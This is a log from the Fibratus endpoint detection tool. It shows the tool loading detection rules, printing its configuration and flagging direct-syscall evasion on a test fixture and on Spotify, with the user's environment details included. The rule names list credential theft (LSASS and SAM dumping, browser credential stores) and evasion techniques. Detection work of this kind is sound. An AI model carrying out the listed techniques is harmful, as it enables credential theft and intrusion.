+time=2025-11-11T20:48:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T20:48:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T20:48:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T09:20:59+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_direct_syscall_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T09:20:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T09:21:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, RenameFile, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T09:21:00+01:00 level=info msg=bootstrapping with pid 15224. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T09:21:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html to=>[] use-template=>true enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false enable-thread=>true stack-enrichment=>true enable-handle=>false min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-dns=>false enable-image=>true buffer-size=>512 enable-vamap=>true flush-interval=>1s enable-mem=>false max-buffers=>36 enable-registry=>true enable-audit-api=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true level=>info max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s exchange-type=>topic passive=>false durable=>false delivery-mode=>transient routing-key=>fibratus vhost=>/ enabled=>false url=>amqp://localhost:5672] elasticsearch=>[ servers=>[http://127.0.0.1:9200] trace-log=>false sniff=>false template-name=>fibratus timeout=>5s healthcheck-interval=>10s enabled=>false flush-period=>1s healthcheck=>true index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s gzip-compression=>false] eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false endpoints=>[] serializer=>json enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ enabled=>false scan-timeout=>10s skip-registry=>false excluded-procs=>[] skip-files=>false excluded-files=>[] skip-allocs=>false fastscan=>true skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-12T09:21:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T09:21:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T09:21:29+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 42695 + Pid: 15980 + Tid: 15984 + Type: SetThreadContext + CPU: 4 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-12 09:21:28.8562619 +0100 CET + Params: status➜ The handle is invalid + Metadata: evasions: [direct_syscall] + + Pid: 15980 + Ppid: 5940 + Name: direct-syscall.exe + Cmdline: + Exe: C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall\direct-syscall.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0xfffff801d4f47f6c C:\WINDOWS\system32\ntoskrnl.exe!Ordinal7+0x2dc|0xfffff801d4f47cc3 C:\WINDOWS\system32\ntoskrnl.exe!Ordinal7+0x33|0xfffff801d4f48eac C:\WINDOWS\system32\ntoskrnl.exe!KeStackAttachProcess+0x1dc|0xfffff801d5058539 C:\WINDOWS\system32\ntoskrnl.exe!HalTranslateBusAddress+0x1d9|0xfffff801d4f0e78a C:\WINDOWS\system32\ntoskrnl.exe!WmiTraceMessage+0x176a|0xfffff801d4e56d73 C:\WINDOWS\system32\ntoskrnl.exe!EtwWriteEx+0x113|0xfffff801d4e57b1c C:\WINDOWS\system32\ntoskrnl.exe!EtwWrite+0x2c|0xfffff801d566f53b C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByPointerWithTag+0xcbb|0xfffff801d566f48c C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByPointerWithTag+0xc0c|0xfffff801d52b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ff6df3112ff C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall\direct-syscall.exe!?|0x7ff6df311a03 C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall\direct-syscall.exe!?|0x7ff6df311bfc C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall\direct-syscall.exe!?|0x7ffa97f6e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa99348d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-12T09:21:29+01:00 level=info msg=sending alert: [Direct syscall from a stomped module]. Text: Event(s): + Seq: 42695 + Pid: 15980 + Tid: 15984 + Type: SetThreadContext + CPU: 4 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-12 09:21:28.8562619 +0100 CET + Params: status➜ The handle is invalid + Metadata: evasions: [direct_syscall], rule.name: Direct syscall from a stomped module, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 15980 + Ppid: 5940 + Name: direct-syscall.exe + Cmdline: + Exe: C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall\direct-syscall.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-12T09:24:40+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 296888 + Pid: 11744 + Tid: 6400 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-12 09:24:40.268543 +0100 CET + Params: base_address➜ 7ffa8d580000, checksum➜ 3076182, default_address➜ 7ffa8d580000, file_path➜ C:\Windows\System32\CoreUIComponents.dll, image_size➜ 3026944, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 11744, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 11744 + Ppid: 4496 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_11744_UENRECTLQPVAGXEM COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801d4f09ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801d4e56899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801d4f107d2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801d550c048 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801d550bcbb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801d550309f C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x5c4f|0xfffff801d54fce35 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801d54fc40d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801d52b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffa2c9f5014 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!DumpHungProcessWithPtype_ExportThunk|0x7ffa2c8abd7a C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ffa2c8ac203 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ffa993ad9eb C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffa993ad42e C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffa993b24cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffa993b00ac C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffa993afcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffa9938a510 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa9938ab06 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa99363013 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffa9936118d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffa7e413312 C:\Windows\System32\TextInputFramework.dll!TextInputHostGetForHwnd|0x7ffa7e42e06b C:\Windows\System32\TextInputFramework.dll!TextInputServerCreate|0x7ffa7e3d7d5e C:\Windows\System32\TextInputFramework.dll!tsfGetKeyState|0x7ffa7e3d8840 C:\Windows\System32\TextInputFramework.dll!TextInputClientCreate2|0x7ffa7e3d8f12 C:\Windows\System32\TextInputFramework.dll!TextInputHostCreate|0x7ffa98d2a163 C:\Windows\System32\msctf.dll!CtfImeProcessKey|0x7ffa98d6f9a9 C:\Windows\System32\msctf.dll!TF_InitSystem|0x7ffa7e3d81f9 C:\Windows\System32\TextInputFramework.dll!tsfGetKeyState|0x7ffa7e3dbb6f C:\Windows\System32\TextInputFramework.dll!TextInputHostCreateEx|0x7ffa98d72681 C:\Windows\System32\msctf.dll!TF_InitSystem|0x7ffa98d71b94 C:\Windows\System32\msctf.dll!TF_InitSystem|0x7ffa98d58f9d C:\Windows\System32\msctf.dll!TF_SetThreadFlags|0x7ffa98d18d32 C:\Windows\System32\msctf.dll!CtfImeProcessKey|0x7ffa98d208fe C:\Windows\System32\msctf.dll!CtfImeProcessKey|0x7ffa97dbb860 C:\Windows\System32\user32.dll!RegisterWindowMessageA|0x7ffa994a7254 C:\Windows\System32\ntdll.dll!KiUserCallbackDispatcher|0xfffff801d5538909 